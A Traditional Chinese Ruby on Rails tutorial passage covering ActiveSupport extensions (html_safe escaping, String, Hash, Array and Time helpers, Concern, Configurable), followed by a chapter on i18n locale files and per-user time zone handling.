AbstractAdapter # Generates class methods to access @@emulate_booleans. cattr_accessor :emulate_booleans self.emulate_booleans = true end ~~~ 同時也會幫我們建立實例變數的方法,讓我們可以在實例變數層級來存取: ~~~ module ActionView class Base cattr_accessor :field_error_proc @@field_error_proc = Proc.new{ ... } end end ~~~ 如此我們便可以在`ActionView`中存取`field_error_proc`。 > 更多關於class_attribute的部份可以參考[深入Rails3: ActiveSupport 的 class_attribute](http://ihower.tw/blog/archives/4878/) ## 擴充 String ### 安全輸出 當輸出HTML格式的資料時需要格外注意,例如當你文章的標題存成`Flanagan & Matz rules!`時,在沒有格式化的情況下`&`會被逸出碼所取代成`&amp;`,另一方面是安全性上的問題,因為使用者可能就會在欄位中寫入攻擊性的script造成安全性問題,因此在處理字串輸出時我們都會對輸出進行處理: 我們可以使用`html_safe?`方法來判斷字串是否是html安全格式,一般字串預設是`false`: ~~~ "".html_safe? # => false ~~~ 你可以透過`html_safe`方法來指定字串: ~~~ s = "".html_safe s.html_safe? # => true ~~~ 你必須注意`html_safe`這個方法並不會幫你處理html中的tag,這方法只是單純的指定該字串是否為`html_safe`,你必須自己去處理tag的部份: ~~~ s = "<script>...</script>".html_safe s.html_safe? # => true s # => "<script>...</script>" ~~~ 當你使用像是`concat`、`<<`或是`+`的方式將一個不是`html_safe`的字串與一個`html_safe`的字串作結合時,會輸出成一個`html_safe`的字串,但將原先不是`html_safe`的字串內容作逸出碼的處理: ~~~ "".html_safe + "<" # => "&lt;" "".html_safe + "<".html_safe # => "<" 如果是 html_safe 的內容則不會作逸出碼的處理 ~~~ 但在Rails3的View中會自動幫你把不安全的部份作逸出處理,因此你大可直接在View中使用像是`<%= @post.title %>`來輸出,但由於這樣會直接把HTML的部份都去除,如果你希望保持HTML的格式那麼你可以使用`raw`這個helper來幫你輸出: ~~~ <%= raw @post.content %> ~~~ > 基於上述安全性的前提,任何可能改變原有字串的方法都會將原先的字串變為unsafe的狀態,像是`downcase`、`gsub`、`strip`、`chomp`、`underscore`等,但是複製的方法像是`dup`或是`clone`並不會影響。 ### truncated `truncate`方法會將字串截斷為指定的長度: ~~~ "Oh dear! Oh dear! I shall be late!".truncate(20) # => "Oh dear! Oh dear!..." ~~~ 你可以使用`omission`參數將擷取後的字串的後面取代為指定的文字: ~~~ "Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '&hellip;') # => "Oh dear! Oh &hellip;" ~~~ 你必須注意`truncate`後的字串不是`html_safe`的,因此在你沒有使用`raw`來作處理的時候會將`html`格式直接輸出: ~~~ "<p>Oh dear! Oh dear! I shall be late!</p>".truncate(20, :omission => "(blah)") => "<p>Oh dear! Oh(blah)" ~~~ 為了避免擷取的部分會將單字直接從中擷取,你可以用`:separator`參數來取代被擷取的單字部分: ~~~ "Oh dear! Oh dear! I shall be late!".truncate(18) # => "Oh dear! Oh dea..." "Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ') # => "Oh dear! Oh..." ~~~ > `:separator`無法使用正規表示法 ### inquiry `inquiry`方法會將字串轉型為`StringInquirer`物件,可以讓我們像用一般方法的方式來比對字串是否符合,最常見的例子就是判斷Rails正在使用的版本: ~~~ Rails.env.production? # 等同於 Rails.env == "production" ~~~ 因此你可以用`inquiry`將一般字串轉型後來達到一樣的效果: ~~~ "production".inquiry.production? # => true "active".inquiry.inactive? # => false ~~~ ### Key-based Interpolation Ruby1.9以後的版本支援使用`%`符號做為字串中的變數鍵值: ~~~ "I say %{foo}" % {:foo => "wadus"} # => "I say wadus" "I say %{woo}" % {:foo => "wadus"} # => KeyError ~~~ ### 字串轉換相關 `to_date`、`to_time`與`to_datetime`三個方法是與轉換時間相關的方法,可以幫我們將字串轉型為時間物件: ~~~ "2010-07-27".to_date # => Tue, 27 Jul 2010 "2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010 "2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 ~~~ `to_time`另外還接受`:utc`或是`:local`的參數用來指定時區,預設為`:utc`: ~~~ "2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010 "2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010 ~~~ ### 其他實用的方法 `pluralize`方法可以幫我們將名詞字串轉為複數的名詞: ~~~ "table".pluralize # => "tables" "ruby".pluralize # => "rubies" "equipment".pluralize # => "equipment" ~~~ 而`singularize`方法則是可以幫我們轉為單數: ~~~ "tables".singularize # => "table" "rubies".singularize # => "ruby" "equipment".singularize # => "equipment" ~~~ `camelize`可以幫我們將字串轉為駝峰式的字串: ~~~ "product".camelize # => "Product" "admin_user".camelize # => "AdminUser" ~~~ 在Rails中也會將路徑中”/”符號轉為Class及Module中的命名空間符號`::` ~~~ "backoffice/session".camelize # => "Backoffice::Session" ~~~ 而`underscore`則是將原先駝峰式的字串轉為路徑式的字串: ~~~ "Product".underscore # => "product" "AdminUser".underscore # => "admin_user" "Backoffice::Session".underscore # => "backoffice/session" ~~~ `titleize`方法可以將字串標題化,將單字的開頭皆轉為大寫: ~~~ "alice in wonderland".titleize # => "Alice In Wonderland" "fermat's enigma".titleize # => "Fermat's Enigma" ~~~ `dasherize`可以將字串中的底線轉為橫線: ~~~ "name".dasherize # => "name" "contact_data".dasherize # => "contact-data" ~~~ `demodulize`可以將整串的`namespace`去除僅留下最後的Class name或是Module name: ~~~ "Backoffice::UsersController".demodulize # => "UsersController" "Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils" ~~~ `deconstantize`則是相反的作用,將上層的部分全部找出來: ~~~ "Backoffice::UsersController".deconstantize # => "Backoffice" "Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" ~~~ 必須注意的是這是處理字串,因此若直接僅給予Class name或是Module name是無法找出上層參照的 ~~~ "Product".deconstantize # => "" ~~~ `parameterize`可以將字串轉為適合url的方式: ~~~ "John Smith".parameterize # => "john-smith" "Kurt Gödel".parameterize # => "kurt-godel" ~~~ `tableize`除了會將單數名詞轉為複數之外,還會將駝峰式的名詞改為底線: ~~~ "InvoiceLine".tableize # => "invoice_lines" ~~~ > `tableize`的作用其實在於幫助你找出Model的資料表名稱 `classify`則是`tableize`的相反,能夠幫你從資料表的名稱轉為Model: ~~~ "people".classify # => "Person" "invoices".classify # => "Invoice" "invoice_lines".classify # => "InvoiceLine" ~~~ `humanize`可以幫你將Model的屬性轉為較容易閱讀的形式: ~~~ "name".humanize # => "Name" "author_id".humanize # => "Author" "comments_count".humanize # => "Comments count" ~~~ ## 擴充 Enumerable ### group_by `group_by`可以將列舉依照指定的欄位分組出來,例如將記錄依照日期排序出來: ~~~ latest_transcripts.group_by(&:day).each do |day, transcripts| p "#{day} -> #{transcripts.map(&:class).join(', ')}" end "2006-03-01 -> Transcript" "2006-02-28 -> Transcript" "2006-02-27 -> Transcript, Transcript" "2006-02-26 -> Transcript, Transcript" "2006-02-25 -> Transcript" "2006-02-24 -> Transcript, Transcript" "2006-02-23 -> Transcript" ~~~ ### sum `sum`可以算出集合的加總: ~~~ [1, 2, 3].sum # => 6 (1..100).sum # => 5050 ~~~ `sum`的作用其實就是幫你將元素彼此用`+`方法連結起來: ~~~ [[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4] %w(foo bar baz).sum # => "foobarbaz" {:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1] ~~~ 對空集合呼叫`sum`預設回傳0,但你也可以改寫: ~~~ [].sum # => 0 [].sum(1) # => 1 ~~~ 如果給予一個block,那麼會迭代執行集合中的元素運算後再將結果加總起來: ~~~ (1..5).sum {|n| n * 2 } # => 30 [2, 4, 6, 8, 10].sum # => 30 ~~~ 空集合的元素也可以這樣被改寫: ~~~ [].sum(1) {|n| n**3} # => 1 ~~~ ### each_with_object `inject`方法可以為集合中的元素迭代的給予指定的元素並運算: ~~~ [2, 3, 4].inject(1) {|product, i| product*i } # => 24 ~~~ 如果給予`inject`的參數為一個空區塊,那麼`inject`會將結果整理成Hash,但需注意在運算的結尾必須回傳運算結果: ~~~ %w{foo bar blah}.inject({}) do |hash, string| hash[string] = "something" hash # 需要回傳運算結果 end => {"foo"=>"something" "bar"=>"something" "blah"=>"something"} ~~~ `each_with_object`這個方法也可以達到一樣的效果,差別在於你不用回傳運算結果: ~~~ %w{foo bar blah}.each_with_object({}){|string, hash| hash[string] = "something"} => {"foo"=>"something", "bar"=>"something", "blah"=>"something"} ~~~ ### index_by `index_by`可以幫我們將集合元素以指定的欄位做為鍵值整理成Hash: ~~~ invoices.index_by(&:number) # => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...} ~~~ > 鍵值通常必須是唯一的,若不是唯一的話將會以最後出現的元素做為判斷值。 ### many? `many?`是可個好用的方法可以幫助我們快速的判斷集合的數量是否大於1: ~~~ <% if pages.many? %> <%= pagination_links %> <% end %> ~~~ 如果對`many?`傳入區塊運算時,`many?`僅會回傳運算結果是`true`的結果: ~~~ @see_more = videos.many? {|video| video.category == params[:category]} ~~~ ## 擴充 Array ### 隨機挑選 ~~~ shape_type = ["Circle", "Square", "Triangle"].sample # => Square, for example shape_types = ["Circle", "Square", "Triangle"].sample(2) # => ["Triangle", "Circle"], for example ~~~ ### 增加元素 `prepend`會將新元素插入在整個陣列的最前方(`index`為0的位置) ~~~ %w(a b c d).prepend('e') # => %w(e a b c d) [].prepend(10) # => [10] ~~~ `append`會將元素插入在陣列的最後方: ~~~ %w(a b c d).append('e') # => %w(a b c d e) [].append([1,2]) # => [[1,2]] ~~~ ### options_extractions! 在Rails中我們常常會看到一個方法可以傳入不定數量的參數,例如: ~~~ my_method :arg1 my_method :arg1, :arg2, :argN my_method :arg1, :foo => 1, :bar => 2 ~~~ 一個方法能夠接收不定數量的多個參數主要仰賴的是`extract_options!`這個方法會幫我們將傳入的集合參數展開,若沒有傳入參數時這個方法便會回傳空Hash ~~~ def my_method(*args) options = args.extract_options! puts "參數: #{args.inspect}" puts "選項: #{options.inspect}" end my_method(1, 2) # 參數: [1, 2] # 選項: {} my_method(1, 2, :a => :b) # 參數: [1, 2] # 選項: {:a=>:b} ~~~ 因此`extract_options!`這個方法可以很方便的幫你展開一個陣列中選項元素,最主要的作用就是展開傳入方法的參數。 ### Grouping `in_groups_of`方法可以將陣列依照我們指定的數量做分組: ~~~ [1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]] ~~~ 如果給予一個block的話可以將分組的元素做yield: ~~~ <% sample.in_groups_of(3) do |a, b, c| %> <tr> <td><%=h a %></td> <td><%=h b %></td> <td><%=h c %></td> </tr> <% end %> ~~~ 在元素數量不夠分組的時候預設在不足的元素部分補`nil`,像第一個例子中最後一個元素是`nil`,你也可以在呼叫`in_groups_of`方法的同時傳入第二個參數做為不足元素的填充值: ~~~ [1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]] ~~~ 你也可以傳入`false`指定當元素不足的時候就不要以`nil`做為填充值,也由於這層關係你無法指定`false`來做為一個填充值: ~~~ [1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]] ~~~ `in_groups_of`這個方法最常拿來使用在當你頁面每一列想要有n個元素來呈現的時候,例如假設我們有一個待辦清單的網站,我們希望頁面上每一列可以有四筆清單,我們可以這樣寫: ~~~ <% @tasks.in_groups_of(4) do |tasks| %> <ul> <% tasks.each do |task| %> <li><%= task.name %></li> <% end %> </ul> <% end %> ~~~ `split`這個方法會依照你給的條件來判斷陣列內的元素做分割: ~~~ [1, 2, 3, 4, 5].split(3) # => [[1, 2], [4, 5]] 如果陣列內元素是3的話做分割 (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]] 如果陣內元素是3的倍數就做分割 ~~~ ## 擴充 Hash ### Merging 合併 Ruby本身有Hash#merge方法來合併兩個Hash ~~~ {:a => 1, :b => 1}.merge(:a => 0, :c => 2) # => {:a => 0, :b => 1, :c => 2} ~~~ #### `reverse_merge`與`reverse_merge!` 在合併Hash時可能會遇到有一樣的key造成需要判斷以哪個key值做為依據的情況: ~~~ a = {:a => 1, :b => 2} b = {:a => 3, :c => 4} a.merge(b) # Ruby 本身的 merge 不會改變原先呼叫的 hash,並且以後面的 hash 為優先產生一個新的 hash => {:a=>3, :b=>2, :c=>4} a # => {:a=>1, :b=>2} b # => {:a=>3, :c=>4} a.reverse_merge(b) # reverse_merge 不會改變原先呼叫的 hash,以前面呼叫的 hash 為優先產生一個新的 hash => {:a=>1, :c=>4, :b=>2} a # => {:a=>1, :b=>2} b # => {:a=>3, :c=>4} a.reverse_merge!(b) # reverse_merge! 會以前面呼叫的 hash 優先並直接改變原先呼叫的 hash,不會產生新的 hash => {:a=>1, :b=>2, :c=>4} a # => {:a=>1, :b=>2, :c=>4} b # {:a=>3, :c=>4} ~~~ 因此`reverse_merge`這個方法常用在指定hash的預設值: ~~~ options = options.reverse_merge(:length => 30, :omission => "...") ~~~ #### `deep_merge`與`deep_merge!` 在兩個hash的鍵值相同,而值也是個hash的情況下,我們可以使用`deep_merge`將兩個hash組合: ~~~ {:a => {:b => 1}}.deep_merge(:a => {:c => 2}) # => {:a => {:b => 1, :c => 2}} ~~~ > `deep_merge!`的版本則是會直接更改呼叫的hash值 ### Key 鍵值 #### `except`與`except!` `except`方法可以將指定的鍵值從hash中移除: ~~~ {:a => 1, :b => 2}.except(:a) # => {:b => 2} ~~~ `except`通常用在我們更新資料時對一些不想被更改的資料欄位做保護的動作: ~~~ params[:account] = params[:account].except(:plan_id) unless admin? @account.update(params[:account]) ~~~ `except!`會直接更改原本呼叫的hash而不是產生一個新的hash #### `stringify_keys` 與 `stringify_keys!` `stringify_keys`可以將hash中的鍵值改為字串: ~~~ {nil => nil, 1 => 1, :a => :a}.stringify_keys # => {"" => nil, "a" => :a, "1" => 1} ~~~ 如果hash中有衝突發生,則以後者優先: ~~~ {"a" => 1, :a => 2}.stringify_keys => {"a"=>2} ~~~ 這方法方便我們將傳入的hash做一致性的處理,而不用去考慮使用者傳入的hash是用symbol或是字串 `stringify_keys!`的版本會直接更改呼叫的hash值 #### `symbolize_keys`與`symbolize_keys!` `symbolize_keys`則是會把hash中的鍵值都呼叫`to_sym`方法將之改為symbol: ~~~ {nil => nil, 1 => 1, "a" => "a"}.symbolize_keys # => {1 => 1, nil => nil, :a => "a"} ~~~ 如果hash中有衝突發生,以後面的優先: ~~~ {"a" => 1, :a => 2}.symbolize_keys => {:a=>2} ~~~ `symbolize_keys!`版本會直接更改呼叫的hash值 #### `to_options`與`to_options!` `to_options`與`to_options!`方法作用與`symbolize_keys`方法是一樣的 #### `assert_valid_keys` `assert_valid_keys`是用來指定hash鍵值的白名單,沒有在白名單裡的鍵值出現在hash中都會拋出例外: ~~~ {:a => 1}.assert_valid_keys(:a) # => {:a=>1} {:a => 1}.assert_valid_keys("a") # ArgumentError: Unknown key: a ~~~ ### 分割 Hash `slice`方法可以幫我們從hash中切出指定的值: ~~~ {:a => 1, :b => 2, :c => 3}.slice(:a, :c) # => {:c => 3, :a => 1} {:a => 1, :b => 2, :c => 3}.slice(:b, :X) # => {:b => 2} # 不存在的值會被忽略 ~~~ > 這方法也常用來做為檢驗hash的白名單使用,將核可的值從hash中抽出 `slice!`的版本會直接更改呼叫的hash值 ### 抽取 `extract!`方法會將hash中指定的值取出變為一個新的hash,並將原先的hash中減去我們抽取出來的部分: ~~~ hash = {:a => 1, :b => 2} rest = hash.extract!(:a) # => {:a => 1} hash # => {:b => 2} ~~~ ## 擴充 DateTime `DateTime`本身已經寫好很多實用的方法可以方便我們計算時間: ~~~ yesterday tomorrow beginning_of_week (at_beginning_of_week) end_of_week (at_end_of_week) monday sunday weeks_ago prev_week next_week months_ago months_since beginning_of_month (at_beginning_of_month) end_of_month (at_end_of_month) prev_month next_month beginning_of_quarter (at_beginning_of_quarter) end_of_quarter (at_end_of_quarter) beginning_of_year (at_beginning_of_year) end_of_year (at_end_of_year) years_ago years_since prev_year next_year ~~~ > `DateTime`並不支援日光節約時間 `DateTime.current`類似於` Time.now.to_datetime`,但他的結果會依使用者本身的時區而定,如果在時區有設定的情況下,還會有些其他好用的方法像是`DateTime.yesterday`、`DateTime.tomorrow`,也可以使用像是`past?`及`future?`來與`DateTime.current`做判斷 `seconds_since_midnight`會回傳從午夜00:00:00到指定時間所經過的秒數: ~~~ now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000 now.seconds_since_midnight # => 73596 ~~~ `utc`可以把時間轉為UTC格式 ~~~ now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400 now.utc # => Mon, 07 Jun 2010 23:27:52 +0000 ~~~ `utc?`可以判斷是否為UTC格式 ~~~ now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400 now.utc? # => false now.utc.utc? # => true ~~~ `advance`是個非常好用的方法,當我們想要找出相對於一個時間加加減減後的另一個時間非常好用: ~~~ d = DateTime.current # => Thu, 05 Aug 2010 11:33:31 +0000 d.advance(:years => 1, :months => 1, :days => 1, :hours => 1, :minutes => 1, :seconds => 1) # => Tue, 06 Sep 2011 12:34:32 +0000 ~~~ 要注意的是你如果呼叫多次`advance`去做計算,其結果可能與呼叫一次是有差異的,你可以參考下面的例子: ~~~ d = DateTime.new(2010, 2, 28, 23, 59, 59) # => Sun, 28 Feb 2010 23:59:59 +0000 d.advance(:months => 1, :seconds => 1) # => Mon, 29 Mar 2010 00:00:00 +0000 d.advance(:seconds => 1).advance(:months => 1) # => Thu, 01 Apr 2010 00:00:00 +0000 ~~~ `change`可以傳入參數給指定的時間將它改為我們想要的時間: ~~~ now = DateTime.current # => Tue, 08 Jun 2010 01:56:22 +0000 now.change(:year => 2011, :offset => Rational(-6, 24)) # => Wed, 08 Jun 2011 01:56:22 -0600 將年份跟時區指定為我們傳入的參數 ~~~ 如果你傳入的參數只有`hour`的時候並且為0的時候,分鐘及秒數都會被設為0: ~~~ now.change(:hour => 0) # => Tue, 08 Jun 2010 00:00:00 +0000 ~~~ 同樣的,如果傳入的參數只有`min`並且值為0的時候,秒數就會被設為0: ~~~ now.change(:min => 0) # => Tue, 08 Jun 2010 01:00:00 +0000 ~~~ `DateTime`也可以方便得用時間間隔來做加減: ~~~ now = DateTime.current # => Mon, 09 Aug 2010 23:15:17 +0000 now + 1.year # => Tue, 09 Aug 2011 23:15:17 +0000 now - 1.week # => Mon, 02 Aug 2010 23:15:17 +0000 ~~~ ## 擴充 Time `Time`繼承從`DateTime`來很多好用的方法: ~~~ past? today? future? yesterday tomorrow seconds_since_midnight change advance ago since (in) beginning_of_day (midnight, at_midnight, at_beginning_of_day) end_of_day beginning_of_week (at_beginning_of_week) end_of_week (at_end_of_week) monday sunday weeks_ago prev_week next_week months_ago months_since beginning_of_month (at_beginning_of_month) end_of_month (at_end_of_month) prev_month next_month beginning_of_quarter (at_beginning_of_quarter) end_of_quarter (at_end_of_quarter) beginning_of_year (at_beginning_of_year) end_of_year (at_end_of_year) years_ago years_since prev_year next_year ~~~ > `Time`的`change`方法接受一個額外的參數`:usec` > `Time`不同於`DateTime`,是能正確計算出時區間的差異,`DateTime`是不支援時光節約時間的 ~~~ Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> # In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST. t = Time.local_time(2010, 3, 28, 1, 59, 59) # => Sun Mar 28 01:59:59 +0100 2010 t.advance(:seconds => 1) # => Sun Mar 28 03:00:00 +0200 2010 ~~~ 使用`since`或是`ago`時,如果得到的時間無法用`Time`來呈現時,會自動轉型為`DateTime` ### Time.current `Time.current`類似於`Time.now`會回傳現在時間,唯一的差別在於`Time.current`會依照使用者的時區來回傳,在有定義時區的情況下你也可以使用像是`Time.yesterday`、`Time.tomorrow`的方法,以及像是`past?`、`today?`、`future?`等用來與`Time.current`比較的方法 > 也因為如此,當我們在做時間的處理時盡量使用像是`Time.current`而少用`Time.now`,不然很有可能會出現時區問題所造成的錯誤計算 ### all_day、all_week、all_month、all_quarter 與 all_year 上面所列的`all_*`方法會回傳與指定時間相較的一個區間: ~~~ now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now.all_day # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00 now.all_week # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00 now.all_month # => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00 now.all_quarter # => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00 now.all_year # => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00 ~~~ ### Time Constructors `Active Support`定義了` Time.current`,等同於`Time.zone.now`,如果使用者已經有定義時區的話,那麼`Time.now`也會得到一樣的效果: ~~~ Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> Time.current # => Fri, 06 Aug 2010 17:11:58 CEST +02:00 ~~~ `local_time`這個class method可以幫助我們建立基於使用者時區設定的時間物件: ~~~ Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> Time.local_time(2010, 8, 15) # => Sun Aug 15 00:00:00 +0200 2010 ~~~ `utc_time`可以回傳UTC格式的時間物件: ~~~ Time.zone_default # => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...> Time.utc_time(2010, 8, 15) # => Sun Aug 15 00:00:00 UTC 2010 ~~~ `local_time`與`utc_time`這兩個方法都接受七個時間參數:`year`、`month`、`day`、`hour`、`min`、`sec`以及`usec`,`year`是必填參數,`month`和`day`預設為1,而其他參數預設為0 時間也可以使用簡單的加減: ~~~ now = Time.current # => Mon, 09 Aug 2010 23:20:05 UTC +00:00 now + 1.year # => Tue, 09 Aug 2011 23:21:11 UTC +00:00 now - 1.week # => Mon, 02 Aug 2010 23:21:11 UTC +00:00 ~~~ ## Concerns 假設我們現在有一個Module A與Module B有相依關係: ~~~ Module A self.included(base) include B # 當 Module A 被 include 後便 include Module B end end ~~~ 今天當我們想要include Module A時,由於Module A與Module B的相依關係,我們必須同時將兩個Module都include進來: ~~~ class Something include A, B end ~~~ 但我們其實沒有必要我想要include的Module之間的相依關係,如此便有了`ActiveSupport::Concern`的意義,就是讓我們只需要include我們想要使用的Module,其他的相依關係我們不需要去考慮他,你所需要作的只是在Module A中`extend ActiveSupport::Concern`: ~~~ Module A extend ActiveSupport::Concern included do include B # 當 Module A 被 include 後便 include Module B end end ~~~ 如此一來我們只需要`include A`就可以搞定了! 更多內容請請參考:[深入Rails3: ActiveSupport::Concern](http://ihower.tw/blog/archives/3949/) ## Benchmarks `benchmark`方法可以用來測試template的執行時間並記錄起來: ~~~ <% benchmark "Process data files" do %> <%= expensive_files_operation %> <% end %> ~~~ 這樣將會在你的log記錄中增加一筆像是`“Process data files (345.2ms)”`的紀錄,你便可用來測量並改善你的程式碼。 你也可以設定`log`的層級,預設是`info`: ~~~ <% benchmark "Low-level files", :level => :debug do %> <%= lowlevel_files_operation %> <% end %> ~~~ ## Configurable `Configurable`這個模組是Rails本身用來作為`AbstractController::Base`的設定使用,我們可以借用這個功能來為我們的類別增加設定選項: ~~~ class Employee include ActiveSupport::Configurable end employee = Employee.new employee.config.sex = male employee.config.permission = :normal employee.config.salary = 22000 ~~~ `config_accessor`方法可以幫助我們將這些設定轉為方法: ~~~ class Employee include ActiveSupport::Configurable config_accessor :sex, :permission, :salary # 現在你可以使用 employee.sex, employee.permission, employee.salary 來取用這些設定 end ~~~ 上面的範例讓每個`Employee`的實例變數都能有自己的設定,但其實我們也可以有類別層級的設定讓每個實例變數都能共享設定: ~~~ # 設定類別層級的設定 Employee.config.duty_hour = 8 # 新增一個employee employee = Employee.new employee.config.duty_hour # => 8 # 由實例變數更改設定 employee.config.duty_hour = 5 # 會更改類別層級設定 Employee.config.duty_hour # => 5 ~~~ ## 更多線上資源 * [Active Support Core Extensions](http://guides.rubyonrails.org/active_support_core_extensions.html)
';

多國語系及時區

最后更新于:2022-04-01 02:31:27

> It Works on My Machine! - 數以萬計的程式設計師 ## 安裝Rails中文翻譯詞彙檔 Rails預設的語系是英文。要換成繁體中文,可以安裝rails-i18n這個gem有社群幫忙翻譯的繁體中文: * 在`Gemfile`加上`gem "rails-i18n"`,然後執行bundle * 修改 config/application.rb 的預設語系 ~~~ config.i18n.default_locale = "zh-TW" ~~~ 這樣就會使用[http://github.com/svenfuchs/rails-i18n](https://github.com/svenfuchs/rails-i18n/blob/master/rails/locale/zh-TW.yml)的繁體中文翻譯。 ## 自訂翻譯檔案 要讓你的網站可以支援多國語系,必須定義出翻譯的詞彙對應檔案。這些詞彙檔放在config/locales下,使用YAML格式,例如新增一個config/locales/zh-TW.yml的檔案,內容如下: ~~~ "zh-TW": hello_world: 哈囉 admin: event: 活動管理 ~~~ > 注意 YAML 格式的縮排必須使用兩個空隔,Tab是不允許的。直接複製貼上可能會有問題,請小心檢查縮排。 這樣就可以用`I18n.t`這個方法來做翻譯詞彙的替換。如果在View中可以直接使用`t`這個Helper方法。翻譯關鍵字可以用字串或 Symbol,也可以加上 Scope,例如: ~~~ t("admin.event") t(:event, :scope => :admin ) I18n.t(:hello_world) # 如果不在View中,則需要加上 I18n 類別 ~~~ 如果要在詞彙內嵌變數的話,可以使用`%{variable_name}`的語法,修改config/locales/zh-TW.yml: ~~~ "zh-TW" hello: "親愛的%{name}你好!" ~~~ 這樣在template中改成傳入參數即可: ~~~ t(:hello, :name => @user.name) # 親愛的XXX你好 ~~~ > 就算你的網站不需要支援多國語系,這個功能對於團隊協作開發網站仍然非常有幫助,因為寫程式的時候不一定會先確定文案規格,用i18n來處理的話,最後只需要讓PM統一修改翻譯詞彙檔即可。 ## 搭配Model使用 在套用上述的翻譯詞彙檔之後,你可能會注意到Model驗證錯誤訊息會變成如Name 不能是空白字元,如果需要近一步中文化欄位名稱,你可以新增config/locales/events.yml內容如下: ~~~ zh-TW: activerecord: attributes: event: name: "活動名稱" description: "描述" ~~~ 其實,翻譯檔檔名叫events.yml、zh-TW.yml、en.yml什麼都無所謂,重要的是YAML結構中第一層要對應locale的名稱,也就是`zh-TW`,Rails會載入config/locales下所有的YAML詞彙檔案。 ## 如何讓使用者可以切換多語系 在 application_controller.rb 中加入: ~~~ before_action :set_locale def set_locale # 可以將 ["en", "zh-TW"] 設定為 VALID_LANG 放到 config/environment.rb 中 if params[:locale] && I18n.available_locales.include?( params[:locale].to_sym ) session[:locale] = params[:locale] end I18n.locale = session[:locale] || I18n.default_locale end ~~~ 在 View 中可以這樣做: ~~~ <%= link_to "中文版", :controller => controller_name, :action => action_name, :locale => "zh-TW" %> <%= link_to "English", :controller => controller_name, :action => action_name, :locale => "en" %> ~~~ ## 語系樣板 除了上述一個單字一個單字的翻譯詞彙替換之外,如果樣板內大多是屬於較為靜態的內容,Rails也提供了不同語系可以有不同樣板,你只要將樣板命名加上語系附檔名即可,例如: ~~~ app/views/pages/faq.zh-TW.html.erb app/views/pages/faq.en.html.erb ~~~ 如此在英文版的時候就會使用faq.en.html.erb這個樣板,中文版時使用faq.zh-TW.html.erb這個樣板。 ## 時區 TimeZone 首先,資料庫裡面的時間一定都是儲存 UTC 時間。而 Rails 提供的機制是讓你從資料庫拿資料時,自動幫你轉換時區。例如,要設定台北 +8 時區: 首先設定 config/application.rb 中預設時區為 config.time_zone = “Taipei”,如此 ActiveRecord 便會幫你自動轉換時區,也就是拿出來時 +8,存回去時 -8 ### 如何根據使用者切換時區? 首先,你必須找個地方儲存不同使用者的時區,例如 User model 有一個欄位叫做 time_zone:string。然後在編輯設定的地方,可以讓使用者自己選擇時區: ~~~ <%= time_zone_select :user, :time_zone %> ~~~ 接著在 application_controller.rb 中加入: ~~~ before_action :set_timezone def set_timezone if logged_in? && current_user.time_zone Time.zone = current_user.time_zone end end ~~~ ### 時區處理方法 Ruby原生的Time類別對於時區的處理一律是參考唯一的系統環境變數`ENV['TZ']`,這在使用者多時區的應用程式中就顯的見拙。因此在Rails中的時間類別使用的是ActiveSupport::TimeWithZone,我們已經知道可以使用`Time.zone`可以改變時區,其他的用法例如: ~~~ Time.zone = "Taipei" Time.zone.local(2011, 8, 3, 9, 0) # 建立一個Taipei當地時間 => Wed, 03 Aug 2011 09:00:00 CST +08:00 t = Time.zone.now # 目前時間 => Wed, 03 Aug 2011 22:17:54 CST +08:00 t.in_time_zone("Tokyo") # 將這個時間換時區 => Wed, 03 Aug 2011 23:18:34 JST +09:00 Time.utc(2005,2,1,15,15,10).in_time_zone # 將UTC時間換Taipei當地時間 => Tue, 01 Feb 2005 23:15:10 CST +08:00 ~~~ ### 時間的顯示 除了使用Ruby內建的[`Datetime#strftime`](http://www.ruby-doc.org/core-2.1.5/Time.html#method-i-strftime)格式化時間之外,Rails也可以直接呼叫`to_s`轉換輸出格式: ~~~ datetime.to_s(:db) # => "2007-12-04 00:00:00" datetime.to_s(:number) # => "20071204000000" datetime.to_s(:short) # => "04 Dec 00:00" datetime.to_s(:long) # => "December 04, 2007 00:00" datetime.to_s(:long_ordinal) # => "December 4th, 2007 00:00" datetime.to_s(:rfc822) # => "Tue, 04 Dec 2007 00:00:00 +0000" datetime.to_s(:iso8601) # => "2007-12-04T00:00:00+00:00" ~~~ 也可以自行註冊專案常用的格式在config/initializers/time_formats.rb裡: ~~~ Time::DATE_FORMATS[:month_and_year] = '%B %Y' 